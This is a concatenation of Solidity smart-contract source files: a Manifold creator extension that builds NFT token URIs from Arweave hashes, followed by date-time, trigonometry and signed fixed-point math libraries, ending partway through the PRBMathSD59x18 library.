import "@openzeppelin/contracts/utils/Strings.sol"; import "@manifoldxyz/creator-core-solidity/contracts/core/IERC721CreatorCore.sol"; import "@manifoldxyz/creator-core-solidity/contracts/extensions/CreatorExtension.sol"; import "@manifoldxyz/creator-core-solidity/contracts/extensions/ICreatorExtensionTokenURI.sol"; import "../libraries/single-creator/ERC721/ERC721SingleCreatorExtension.sol"; /** * Extension which allows for the creation of NFTs with dynamically changing image/animation metadata */ abstract contract DynamicArweaveHash is ERC721SingleCreatorExtension, CreatorExtension, Ownable, ICreatorExtensionTokenURI { using Strings for uint256; string[] public imageArweaveHashes; string[] public animationArweaveHashes; function supportsInterface(bytes4 interfaceId) public view virtual override(CreatorExtension, IERC165) returns (bool) { return interfaceId == type(ICreatorExtensionTokenURI).interfaceId || super.supportsInterface(interfaceId); } function tokenURI(address, uint256 tokenId) external view virtual override returns (string memory) { string memory uri = string(abi.encodePacked('data:application/json;utf8,{"name":"', _getName(), '","description":"', _getDescription())); if (imageArweaveHashes.length > 0) { uri = string(abi.encodePacked(uri, '", "image":"https://arweave.net/', _getImageHash(tokenId))); } if (animationArweaveHashes.length > 0) { uri = string(abi.encodePacked(uri, '", "animation_url":"https://arweave.net/', _getAnimationHash(tokenId))); } uri = string(abi.encodePacked(uri, '"}')); return uri; } function _mint(address to) internal returns(uint256) { return IERC721CreatorCore(_creator).mintExtension(to); } function _getName() internal view virtual returns(string memory); function _getDescription() internal view virtual returns(string memory); function _getImageHash(uint256 tokenId) internal view virtual returns(string memory); function _getAnimationHash(uint256 tokenId) internal view virtual returns(string memory); function setImageArweaveHashes(string[] memory _arweaveHashes) external virtual onlyOwner { imageArweaveHashes = _arweaveHashes; } function setAnimationAreaveHashes(string[] memory _arweaveHashes) external virtual onlyOwner { animationArweaveHashes = _arweaveHashes; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.9.0; // ---------------------------------------------------------------------------- // BokkyPooBah's DateTime Library v1.01 // // A gas-efficient Solidity date and time library // // https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary // // Tested date range 1970/01/01 to 2345/12/31 // // Conventions: // Unit | Range | Notes // :-------- |:-------------:|:----- // timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC // year | 1970 ... 2345 | // month | 1 ... 12 | // day | 1 ... 31 | // hour | 0 ... 23 | // minute | 0 ... 59 | // second | 0 ... 59 | // dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday // // // Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence. // ---------------------------------------------------------------------------- library BokkyPooBahsDateTimeLibrary { uint constant SECONDS_PER_DAY = 24 * 60 * 60; uint constant SECONDS_PER_HOUR = 60 * 60; uint constant SECONDS_PER_MINUTE = 60; int constant OFFSET19700101 = 2440588; uint constant DOW_MON = 1; uint constant DOW_TUE = 2; uint constant DOW_WED = 3; uint constant DOW_THU = 4; uint constant DOW_FRI = 5; uint constant DOW_SAT = 6; uint constant DOW_SUN = 7; // ------------------------------------------------------------------------ // Calculate the number of days from 1970/01/01 to year/month/day using // the date conversion algorithm from // https://aa.usno.navy.mil/faq/JD_formula.html // and subtracting the offset 2440588 so that 1970/01/01 is day 0 // // days = day // - 32075 // + 1461 * (year + 4800 + (month - 14) / 12) / 4 // + 367 * (month - 2 - (month - 14) / 12 * 12) / 12 // - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4 // - offset // ------------------------------------------------------------------------ function _daysFromDate(uint year, uint month, uint day) internal pure returns (uint _days) { require(year >= 1970); int _year = int(year); int _month = int(month); int _day = int(day); int __days = _day - 32075 + 1461 * (_year + 4800 + (_month - 14) / 12) / 4 + 367 * (_month - 2 - (_month - 14) / 12 * 12) / 12 - 3 * ((_year + 4900 + (_month - 14) / 12) / 100) / 4 - OFFSET19700101; _days = uint(__days); } // ------------------------------------------------------------------------ // Calculate year/month/day from the number of days since 1970/01/01 using // the date conversion algorithm from // http://aa.usno.navy.mil/faq/docs/JD_Formula.php // and adding the offset 2440588 so that 1970/01/01 is day 0 // // int L = days + 68569 + offset // int N = 4 * L / 146097 // L = L - (146097 * N + 3) / 4 // year = 4000 * (L + 1) / 1461001 // L = L - 1461 * year / 4 + 31 // month = 80 * L / 2447 // dd = L - 2447 * month / 80 // L = month / 11 // month = month + 2 - 12 * L // year = 100 * (N - 49) + year + L // ------------------------------------------------------------------------ function _daysToDate(uint _days) internal pure returns (uint year, uint month, uint day) { int __days = int(_days); int L = __days + 68569 + OFFSET19700101; int N = 4 * L / 146097; L = L - (146097 * N + 3) / 4; int _year = 4000 * (L + 1) / 1461001; L = L - 1461 * _year / 4 + 31; int _month = 80 * L / 2447; int _day = L - 2447 * _month / 80; L = _month / 11; _month = _month + 2 - 12 * L; _year = 100 * (N - 49) + _year + L; year = uint(_year); month = uint(_month); day = uint(_day); } function timestampFromDate(uint year, uint month, uint day) internal pure returns (uint timestamp) { timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY; } function timestampFromDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) internal pure returns (uint timestamp) { timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + hour * SECONDS_PER_HOUR + minute * SECONDS_PER_MINUTE + second; } function timestampToDate(uint timestamp) internal pure returns (uint year, uint month, uint day) { (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); } function timestampToDateTime(uint timestamp) internal pure returns (uint year, uint month, uint day, uint hour, uint minute, uint second) { (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); uint secs = timestamp % SECONDS_PER_DAY; hour = secs / SECONDS_PER_HOUR; secs = secs % SECONDS_PER_HOUR; minute = secs / SECONDS_PER_MINUTE; second = secs % SECONDS_PER_MINUTE; } function isValidDate(uint year, uint month, uint day) internal pure returns (bool valid) { if (year >= 1970 && month > 0 && month <= 12) { uint daysInMonth = _getDaysInMonth(year, month); if (day > 0 && day <= daysInMonth) { valid = true; } } } function isValidDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) internal pure returns (bool valid) { if (isValidDate(year, month, day)) { if (hour < 24 && minute < 60 && second < 60) { valid = true; } } } function isLeapYear(uint timestamp) internal pure returns (bool leapYear) { (uint year,,) = _daysToDate(timestamp / SECONDS_PER_DAY); leapYear = _isLeapYear(year); } function _isLeapYear(uint year) internal pure returns (bool leapYear) { leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0); } function isWeekDay(uint timestamp) internal pure returns (bool weekDay) { weekDay = getDayOfWeek(timestamp) <= DOW_FRI; } function isWeekEnd(uint timestamp) internal pure returns (bool weekEnd) { weekEnd = getDayOfWeek(timestamp) >= DOW_SAT; } function getDaysInMonth(uint timestamp) internal pure returns (uint daysInMonth) { (uint year, uint month,) = _daysToDate(timestamp / SECONDS_PER_DAY); daysInMonth = _getDaysInMonth(year, month); } function _getDaysInMonth(uint year, uint month) internal pure returns (uint daysInMonth) { if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) { daysInMonth = 31; } else if (month != 2) { daysInMonth = 30; } else { daysInMonth = _isLeapYear(year) ? 29 : 28; } } // 1 = Monday, 7 = Sunday function getDayOfWeek(uint timestamp) internal pure returns (uint dayOfWeek) { uint _days = timestamp / SECONDS_PER_DAY; dayOfWeek = (_days + 3) % 7 + 1; } function getYear(uint timestamp) internal pure returns (uint year) { (year,,) = _daysToDate(timestamp / SECONDS_PER_DAY); } function getMonth(uint timestamp) internal pure returns (uint month) { (,month,) = _daysToDate(timestamp / SECONDS_PER_DAY); } function getDay(uint timestamp) internal pure returns (uint day) { (,,day) = _daysToDate(timestamp / SECONDS_PER_DAY); } function getHour(uint timestamp) internal pure returns (uint hour) { uint secs = timestamp % SECONDS_PER_DAY; hour = secs / SECONDS_PER_HOUR; } function getMinute(uint timestamp) internal pure returns (uint minute) { uint secs = timestamp % SECONDS_PER_HOUR; minute = secs / SECONDS_PER_MINUTE; } function getSecond(uint timestamp) internal pure returns (uint second) { second = timestamp % SECONDS_PER_MINUTE; } function addYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) { (uint year, uint month, uint day) = _daysToDate(timestamp / SECONDS_PER_DAY); year += _years; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp >= timestamp); } function addMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) { (uint year, uint month, uint day) = _daysToDate(timestamp / SECONDS_PER_DAY); month += _months; year += (month - 1) / 12; month = (month - 1) % 12 + 1; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp >= timestamp); } function addDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _days * SECONDS_PER_DAY; require(newTimestamp >= timestamp); } function addHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _hours * SECONDS_PER_HOUR; require(newTimestamp >= timestamp); } function addMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _minutes * SECONDS_PER_MINUTE; require(newTimestamp >= timestamp); } function addSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _seconds; require(newTimestamp >= timestamp); } function subYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) { (uint year, uint month, uint day) = _daysToDate(timestamp / SECONDS_PER_DAY); year -= _years; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp <= timestamp); } function subMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) { (uint year, uint month, uint day) = _daysToDate(timestamp / SECONDS_PER_DAY); uint yearMonth = year * 12 + (month - 1) - _months; year = yearMonth / 12; month = yearMonth % 12 + 1; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp <= timestamp); } function subDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _days * SECONDS_PER_DAY; require(newTimestamp <= timestamp); } function subHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _hours * SECONDS_PER_HOUR; require(newTimestamp <= timestamp); } function subMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _minutes * SECONDS_PER_MINUTE; require(newTimestamp <= timestamp); } function subSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _seconds; require(newTimestamp <= timestamp); } function diffYears(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _years) { require(fromTimestamp <= toTimestamp); (uint fromYear,,) = _daysToDate(fromTimestamp / SECONDS_PER_DAY); (uint toYear,,) = _daysToDate(toTimestamp / SECONDS_PER_DAY); _years = toYear - fromYear; } function diffMonths(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _months) { require(fromTimestamp <= toTimestamp); (uint fromYear, uint fromMonth,) = _daysToDate(fromTimestamp / SECONDS_PER_DAY); (uint toYear, uint toMonth,) = _daysToDate(toTimestamp / SECONDS_PER_DAY); _months = toYear * 12 + toMonth - fromYear * 12 - fromMonth; } function diffDays(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _days) { require(fromTimestamp <= toTimestamp); _days = (toTimestamp - fromTimestamp) / SECONDS_PER_DAY; } function diffHours(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _hours) { require(fromTimestamp <= toTimestamp); _hours = (toTimestamp - fromTimestamp) / SECONDS_PER_HOUR; } function diffMinutes(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _minutes) { require(fromTimestamp <= toTimestamp); _minutes = (toTimestamp - fromTimestamp) / SECONDS_PER_MINUTE; } function diffSeconds(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _seconds) { require(fromTimestamp <= toTimestamp); _seconds = toTimestamp - fromTimestamp; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @notice Solidity library offering basic trigonometry functions where inputs and outputs are * integers. Inputs are specified in radians scaled by 1e18, and similarly outputs are scaled by 1e18. * * This implementation is based off the Solidity trigonometry library written by Lefteris Karapetsas * which can be found here: https://github.com/Sikorkaio/sikorka/blob/e75c91925c914beaedf4841c0336a806f2b5f66d/contracts/trigonometry.sol * * Compared to Lefteris' implementation, this version makes the following changes: * - Uses a 32 bits instead of 16 bits for improved accuracy * - Updated for Solidity 0.8.x * - Various gas optimizations * - Change inputs/outputs to standard trig format (scaled by 1e18) instead of requiring the * integer format used by the algorithm * * Lefertis' implementation is based off Dave Dribin's trigint C library * http://www.dribin.org/dave/trigint/ * * Which in turn is based from a now deleted article which can be found in the Wayback Machine: * http://web.archive.org/web/20120301144605/http://www.dattalo.com/technical/software/pic/picsine.html */ library Trigonometry { // Table index into the trigonometric table uint256 constant INDEX_WIDTH = 8; // Interpolation between successive entries in the table uint256 constant INTERP_WIDTH = 16; uint256 constant INDEX_OFFSET = 28 - INDEX_WIDTH; uint256 constant INTERP_OFFSET = INDEX_OFFSET - INTERP_WIDTH; uint32 constant ANGLES_IN_CYCLE = 1073741824; uint32 constant QUADRANT_HIGH_MASK = 536870912; uint32 constant QUADRANT_LOW_MASK = 268435456; uint256 constant SINE_TABLE_SIZE = 256; // Pi as an 18 decimal value, which is plenty of accuracy: "For JPL's highest accuracy calculations, which are for // interplanetary navigation, we use 3.141592653589793: https://www.jpl.nasa.gov/edu/news/2016/3/16/how-many-decimals-of-pi-do-we-really-need/ uint256 constant PI = 3141592653589793238; uint256 constant TWO_PI = 2 * PI; uint256 constant PI_OVER_TWO = PI / 2; // The constant sine lookup table was generated by generate_trigonometry.py. We must use a constant // bytes array because constant arrays are not supported in Solidity. Each entry in the lookup // table is 4 bytes. Since we're using 32-bit parameters for the lookup table, we get a table size // of 2^(32/4) + 1 = 257, where the first and last entries are equivalent (hence the table size of // 256 defined above) uint8 constant entry_bytes = 4; // each entry in the lookup table is 4 bytes uint256 constant entry_mask = ((1 << 8*entry_bytes) - 1); // mask used to cast bytes32 -> lookup table entry bytes constant sin_table = hex"00_00_00_00_00_c9_0f_88_01_92_1d_20_02_5b_26_d7_03_24_2a_bf_03_ed_26_e6_04_b6_19_5d_05_7f_00_35_06_47_d9_7c_07_10_a3_45_07_d9_5b_9e_08_a2_00_9a_09_6a_90_49_0a_33_08_bc_0a_fb_68_05_0b_c3_ac_35_0c_8b_d3_5e_0d_53_db_92_0e_1b_c2_e4_0e_e3_87_66_0f_ab_27_2b_10_72_a0_48_11_39_f0_cf_12_01_16_d5_12_c8_10_6e_13_8e_db_b1_14_55_76_b1_15_1b_df_85_15_e2_14_44_16_a8_13_05_17_6d_d9_de_18_33_66_e8_18_f8_b8_3c_19_bd_cb_f3_1a_82_a0_25_1b_47_32_ef_1c_0b_82_6a_1c_cf_8c_b3_1d_93_4f_e5_1e_56_ca_1e_1f_19_f9_7b_1f_dc_dc_1b_20_9f_70_1c_21_61_b3_9f_22_23_a4_c5_22_e5_41_af_23_a6_88_7e_24_67_77_57_25_28_0c_5d_25_e8_45_b6_26_a8_21_85_27_67_9d_f4_28_26_b9_28_28_e5_71_4a_29_a3_c4_85_2a_61_b1_01_2b_1f_34_eb_2b_dc_4e_6f_2c_98_fb_ba_2d_55_3a_fb_2e_11_0a_62_2e_cc_68_1e_2f_87_52_62_30_41_c7_60_30_fb_c5_4d_31_b5_4a_5d_32_6e_54_c7_33_26_e2_c2_33_de_f2_87_34_96_82_4f_35_4d_90_56_36_04_1a_d9_36_ba_20_13_37_6f_9e_46_38_24_93_b0_38_d8_fe_93_39_8c_dd_32_3a_40_2d_d1_3a_f2_ee_b7_3b_a5_1e_29_3c_56_ba_70_3d_07_c1_d5_3d_b8_32_a5_3e_68_0b_2c_3f_17_49_b7_3f_c5_ec_97_40_73_f2_1d_41_21_58_9a_41_ce_1e_64_42_7a_41_d0_43_25_c1_35_43_d0_9a_ec_44_7a_cd_50_45_24_56_bc_45_cd_35_8f_46_75_68_27_47_1c_ec_e6_47_c3_c2_2e_48_69_e6_64_49_0f_57_ee_49_b4_15_33_4a_58_1c_9d_4a_fb_6c_97_4b_9e_03_8f_4c_3f_df_f3_4c_e1_00_34_4d_81_62_c3_4e_21_06_17_4e_bf_e8_a4_4f_5e_08_e2_4f_fb_65_4c_50_97_fc_5e_51_33_cc_94_51_ce_d4_6e_52_69_12_6e_53_02_85_17_53_9b_2a_ef_54_33_02_7d_54_ca_0a_4a_55_60_40_e2_55_f5_a4_d2_56_8a_34_a9_57_1d_ee_f9_57_b0_d2_55_58_42_dd_54_58_d4_0e_8c_59_64_64_97_59_f3_de_12_5a_82_79_99_5b_10_35_ce_5b_9d_11_53_5c_29_0a_cc_5c_b4_20_df_5d_3e_52_36_5d_c7_9d_7b_5e_50_01_5d_5e_d7_7c_89_5f_5e_0d_b2_5f_e3_b3_8d_60_68_6c_ce_60_ec_38_2f_61_6f_14_6b_61_f1_00_3e_62_71_fa_68_62_f2_01_ac_63_71_14_cc_63_ef_32_8f_64_6c_59_bf_64_e8_89_25_65_63_bf_91_65_dd_fb_d2_66_57_3c_bb_66_cf_81_1f_67_46_c7_d7_67_bd_0f_bc_68_32_57_aa_68_a6_9e_80_69_19_e3_1f_69_8c_24_6b_69_fd_61_4a_6a_6d_98_a3_6a_dc_c9_64_6b_4a_f2_78_6b_b8_12_d0_6c_24_29_5f_6c_8f_35_1b_6c_f9_34_fb_6d_62_27_f9_6d_ca_0d_14_6e_30_e3_49_6e_96_a9_9c_6e_fb_5f_11_6f_5f_02_b1_6f_c1_93_84_70_23_10_99_70_83_78_fe_70_e2_cb_c5_71_41_08_04_71_9e_2c_d1_71_fa_39_48_72_55_2c_84_72_af_05_a6_73_07_c3_cf_73_5f_66_25_73_b5_eb_d0_74_0b_53_fa_74_5f_9d_d0_74_b2_c8_83_75_04_d3_44_75_55_bd_4b_75_a5_85_ce_75_f4_2c_0a_76_41_af_3c_76_8e_0e_a5_76_d9_49_88_77_23_5f_2c_77_6c_4e_da_77_b4_17_df_77_fa_b9_88_78_40_33_28_78_84_84_13_78_c7_ab_a1_79_09_a9_2c_79_4a_7c_11_79_8a_23_b0_79_c8_9f_6d_7a_05_ee_ac_7a_42_10_d8_7a_7d_05_5a_7a_b6_cb_a3_7a_ef_63_23_7b_26_cb_4e_7b_5d_03_9d_7b_92_0b_88_7b_c5_e2_8f_7b_f8_88_2f_7c_29_fb_ed_7c_5a_3d_4f_7c_89_4b_dd_7c_b7_27_23_7c_e3_ce_b1_7d_0f_42_17_7d_39_80_eb_7d_62_8a_c5_7d_8a_5f_3f_7d_b0_fd_f7_7d_d6_66_8e_7d_fa_98_a7_7e_1d_93_e9_7e_3f_57_fe_7e_5f_e4_92_7e_7f_39_56_7e_9d_55_fb_7e_ba_3a_38_7e_d5_e5_c5_7e_f0_58_5f_7f_09_91_c3_7f_21_91_b3_7f_38_57_f5_7f_4d_e4_50_7f_62_36_8e_7f_75_4e_7f_7f_87_2b_f2_7f_97_ce_bc_7f_a7_36_b3_7f_b5_63_b2_7f_c2_55_95_7f_ce_0c_3d_7f_d8_87_8d_7f_e1_c7_6a_7f_e9_cb_bf_7f_f0_94_77_7f_f6_21_81_7f_fa_72_d0_7f_fd_88_59_7f_ff_62_15_7f_ff_ff_ff"; /** * @notice Return the sine of a value, specified in radians scaled by 1e18 * @dev This algorithm for converting sine only uses integer values, and it works by dividing the * circle into 30 bit angles, i.e. there are 1,073,741,824 (2^30) angle units, instead of the * standard 360 degrees (2pi radians). From there, we get an output in range -2,147,483,647 to * 2,147,483,647, (which is the max value of an int32) which is then converted back to the standard * range of -1 to 1, again scaled by 1e18 * @param _angle Angle to convert * @return Result scaled by 1e18 */ function sin(uint256 _angle) internal pure returns (int256) { unchecked { // Convert angle from from arbitrary radian value (range of 0 to 2pi) to the algorithm's range // of 0 to 1,073,741,824 _angle = ANGLES_IN_CYCLE * (_angle % TWO_PI) / TWO_PI; // Apply a mask on an integer to extract a certain number of bits, where angle is the integer // whose bits we want to get, the width is the width of the bits (in bits) we want to extract, // and the offset is the offset of the bits (in bits) we want to extract. The result is an // integer containing _width bits of _value starting at the offset bit uint256 interp = (_angle >> INTERP_OFFSET) & ((1 << INTERP_WIDTH) - 1); uint256 index = (_angle >> INDEX_OFFSET) & ((1 << INDEX_WIDTH) - 1); // The lookup table only contains data for one quadrant (since sin is symmetric around both // axes), so here we figure out which quadrant we're in, then we lookup the values in the // table then modify values accordingly bool is_odd_quadrant = (_angle & QUADRANT_LOW_MASK) == 0; bool is_negative_quadrant = (_angle & QUADRANT_HIGH_MASK) != 0; if (!is_odd_quadrant) { index = SINE_TABLE_SIZE - 1 - index; } bytes memory table = sin_table; // We are looking for two consecutive indices in our lookup table // Since EVM is left aligned, to read n bytes of data from idx i, we must read from `i * data_len` + `n` // therefore, to read two entries of size entry_bytes `index * entry_bytes` + `entry_bytes * 2` uint256 offset1_2 = (index + 2) * entry_bytes; // This following snippet will function for any entry_bytes <= 15 uint256 x1_2; assembly { // mload will grab one word worth of bytes (32), as that is the minimum size in EVM x1_2 := mload(add(table, offset1_2)) } // We now read the last two numbers of size entry_bytes from x1_2 // in example: entry_bytes = 4; x1_2 = 0x00...12345678abcdefgh // therefore: entry_mask = 0xFFFFFFFF // 0x00...12345678abcdefgh >> 8*4 = 0x00...12345678 // 0x00...12345678 & 0xFFFFFFFF = 0x12345678 uint256 x1 = x1_2 >> 8*entry_bytes & entry_mask; // 0x00...12345678abcdefgh & 0xFFFFFFFF = 0xabcdefgh uint256 x2 = x1_2 & entry_mask; // Approximate angle by interpolating in the table, accounting for the quadrant uint256 approximation = ((x2 - x1) * interp) >> INTERP_WIDTH; int256 sine = is_odd_quadrant ? int256(x1) + int256(approximation) : int256(x2) - int256(approximation); if (is_negative_quadrant) { sine *= -1; } // Bring result from the range of -2,147,483,647 through 2,147,483,647 to -1e18 through 1e18. // This can never overflow because sine is bounded by the above values return sine * 1e18 / 2_147_483_647; } } /** * @notice Return the cosine of a value, specified in radians scaled by 1e18 * @dev This is identical to the sin() method, and just computes the value by delegating to the * sin() method using the identity cos(x) = sin(x + pi/2) * @dev Overflow when `angle + PI_OVER_TWO > type(uint256).max` is ok, results are still accurate * @param _angle Angle to convert * @return Result scaled by 1e18 */ function cos(uint256 _angle) internal pure returns (int256) { unchecked { return sin(_angle + PI_OVER_TWO); } } } // SPDX-License-Identifier: Unlicense pragma solidity >=0.8.4; import "./PRBMath.sol"; /// @title PRBMathSD59x18 /// @author Paul Razvan Berg /// @notice Smart contract library for advanced fixed-point math that works with int256 numbers considered to have 18 /// trailing decimals. We call this number representation signed 59.18-decimal fixed-point, since the numbers can have /// a sign and there can be up to 59 digits in the integer part and up to 18 decimals in the fractional part. The numbers /// are bound by the minimum and the maximum values permitted by the Solidity type int256. library PRBMathSD59x18 { /// @dev log2(e) as a signed 59.18-decimal fixed-point number. int256 internal constant LOG2_E = 1_442695040888963407; /// @dev Half the SCALE number. int256 internal constant HALF_SCALE = 5e17; /// @dev The maximum value a signed 59.18-decimal fixed-point number can have. int256 internal constant MAX_SD59x18 = 57896044618658097711785492504343953926634992332820282019728_792003956564819967; /// @dev The maximum whole value a signed 59.18-decimal fixed-point number can have. int256 internal constant MAX_WHOLE_SD59x18 = 57896044618658097711785492504343953926634992332820282019728_000000000000000000; /// @dev The minimum value a signed 59.18-decimal fixed-point number can have. int256 internal constant MIN_SD59x18 = -57896044618658097711785492504343953926634992332820282019728_792003956564819968; /// @dev The minimum whole value a signed 59.18-decimal fixed-point number can have. int256 internal constant MIN_WHOLE_SD59x18 = -57896044618658097711785492504343953926634992332820282019728_000000000000000000; /// @dev How many trailing decimals can be represented. int256 internal constant SCALE = 1e18; /// INTERNAL FUNCTIONS /// /// @notice Calculate the absolute value of x. /// /// @dev Requirements: /// - x must be greater than MIN_SD59x18. /// /// @param x The number to calculate the absolute value for. /// @param result The absolute value of x. function abs(int256 x) internal pure returns (int256 result) { unchecked { if (x == MIN_SD59x18) { revert PRBMathSD59x18__AbsInputTooSmall(); } result = x < 0 ? -x : x; } } /// @notice Calculates the arithmetic average of x and y, rounding down. /// @param x The first operand as a signed 59.18-decimal fixed-point number. /// @param y The second operand as a signed 59.18-decimal fixed-point number. /// @return result The arithmetic average as a signed 59.18-decimal fixed-point number. function avg(int256 x, int256 y) internal pure returns (int256 result) { // The operations can never overflow. unchecked { int256 sum = (x >> 1) + (y >> 1); if (sum < 0) { // If at least one of x and y is odd, we add 1 to the result. This is because shifting negative numbers to the // right rounds down to infinity. assembly { result := add(sum, and(or(x, y), 1)) } } else { // If both x and y are odd, we add 1 to the result. This is because if both numbers are odd, the 0.5 // remainder gets truncated twice. result = sum + (x & y & 1); } } } /// @notice Yields the least greatest signed 59.18 decimal fixed-point number greater than or equal to x. /// /// @dev Optimized for fractional value inputs, because for every whole value there are (1e18 - 1) fractional counterparts. /// See https://en.wikipedia.org/wiki/Floor_and_ceiling_functions. /// /// Requirements: /// - x must be less than or equal to MAX_WHOLE_SD59x18. /// /// @param x The signed 59.18-decimal fixed-point number to ceil. /// @param result The least integer greater than or equal to x, as a signed 58.18-decimal fixed-point number. function ceil(int256 x) internal pure returns (int256 result) { if (x > MAX_WHOLE_SD59x18) { revert PRBMathSD59x18__CeilOverflow(x); } unchecked { int256 remainder = x % SCALE; if (remainder == 0) { result = x; } else { // Solidity uses C fmod style, which returns a modulus with the same sign as x. result = x - remainder; if (x > 0) { result += SCALE; } } } } /// @notice Divides two signed 59.18-decimal fixed-point numbers, returning a new signed 59.18-decimal fixed-point number. /// /// @dev Variant of "mulDiv" that works with signed numbers. Works by computing the signs and the absolute values separately. /// /// Requirements: /// - All from "PRBMath.mulDiv". /// - None of the inputs can be MIN_SD59x18. /// - The denominator cannot be zero. /// - The result must fit within int256. /// /// Caveats: /// - All from "PRBMath.mulDiv". /// /// @param x The numerator as a signed 59.18-decimal fixed-point number. /// @param y The denominator as a signed 59.18-decimal fixed-point number. /// @param result The quotient as a signed 59.18-decimal fixed-point number. function div(int256 x, int256 y) internal pure returns (int256 result) { if (x == MIN_SD59x18 || y == MIN_SD59x18) { revert PRBMathSD59x18__DivInputTooSmall(); } // Get hold of the absolute values of x and y. uint256 ax; uint256 ay; unchecked { ax = x < 0 ? uint256(-x) : uint256(x); ay = y < 0 ? uint256(-y) : uint256(y); } // Compute the absolute value of (x*SCALE)÷y. The result must fit within int256. uint256 rAbs = PRBMath.mulDiv(ax, uint256(SCALE), ay); if (rAbs > uint256(MAX_SD59x18)) { revert PRBMathSD59x18__DivOverflow(rAbs); } // Get the signs of x and y. uint256 sx; uint256 sy; assembly { sx := sgt(x, sub(0, 1)) sy := sgt(y, sub(0, 1)) } // XOR over sx and sy. This is basically checking whether the inputs have the same sign. If yes, the result // should be positive. Otherwise, it should be negative. result = sx ^ sy == 1 ? -int256(rAbs) : int256(rAbs); } /// @notice Returns Euler's number as a signed 59.18-decimal fixed-point number. /// @dev See https://en.wikipedia.org/wiki/E_(mathematical_constant). function e() internal pure returns (int256 result) { result = 2_718281828459045235; } /// @notice Calculates the natural exponent of x. /// /// @dev Based on the insight that e^x = 2^(x * log2(e)). /// /// Requirements: /// - All from "log2". /// - x must be less than 133.084258667509499441. /// /// Caveats: /// - All from "exp2". /// - For any x less than -41.446531673892822322, the result is zero. /// /// @param x The exponent as a signed 59.18-decimal fixed-point number. /// @return result The result as a signed 59.18-decimal fixed-point number. function exp(int256 x) internal pure returns (int256 result) { // Without this check, the value passed to "exp2" would be less than -59.794705707972522261. if (x < -41_446531673892822322) { return 0; } // Without this check, the value passed to "exp2" would be greater than 192. if (x >= 133_084258667509499441) { revert PRBMathSD59x18__ExpInputTooBig(x); } // Do the fixed-point multiplication inline to save gas. unchecked { int256 doubleScaleProduct = x * LOG2_E; result = exp2((doubleScaleProduct + HALF_SCALE) / SCALE); } } /// @notice Calculates the binary exponent of x using the binary fraction method. /// /// @dev See https://ethereum.stackexchange.com/q/79903/24693. /// /// Requirements: /// - x must be 192 or less. /// - The result must fit within MAX_SD59x18. /// /// Caveats: /// - For any x less than -59.794705707972522261, the result is zero. /// /// @param x The exponent as a signed 59.18-decimal fixed-point number. /// @return result The result as a signed 59.18-decimal fixed-point number. function exp2(int256 x) internal pure returns (int256 result) { // This works because 2^(-x) = 1/2^x. if (x < 0) { // 2^59.794705707972522262 is the maximum number whose inverse does not truncate down to zero. if (x < -59_794705707972522261) { return 0; } // Do the fixed-point inversion inline to save gas. The numerator is SCALE * SCALE. unchecked { result = 1e36 / exp2(-x); } } else { // 2^192 doesn't fit within the 192.64-bit format used internally in this function. if (x >= 192e18) { revert PRBMathSD59x18__Exp2InputTooBig(x); } unchecked { // Convert x to the 192.64-bit fixed-point format. uint256 x192x64 = (uint256(x) << 64) / uint256(SCALE); // Safe to convert the result to int256 directly because the maximum input allowed is 192. result = int256(PRBMath.exp2(x192x64)); } } } /// @notice Yields the greatest signed 59.18 decimal fixed-point number less than or equal to x. /// /// @dev Optimized for fractional value inputs, because for every whole value there are (1e18 - 1) fractional counterparts. /// See https://en.wikipedia.org/wiki/Floor_and_ceiling_functions. /// /// Requirements: /// - x must be greater than or equal to MIN_WHOLE_SD59x18. /// /// @param x The signed 59.18-decimal fixed-point number to floor. 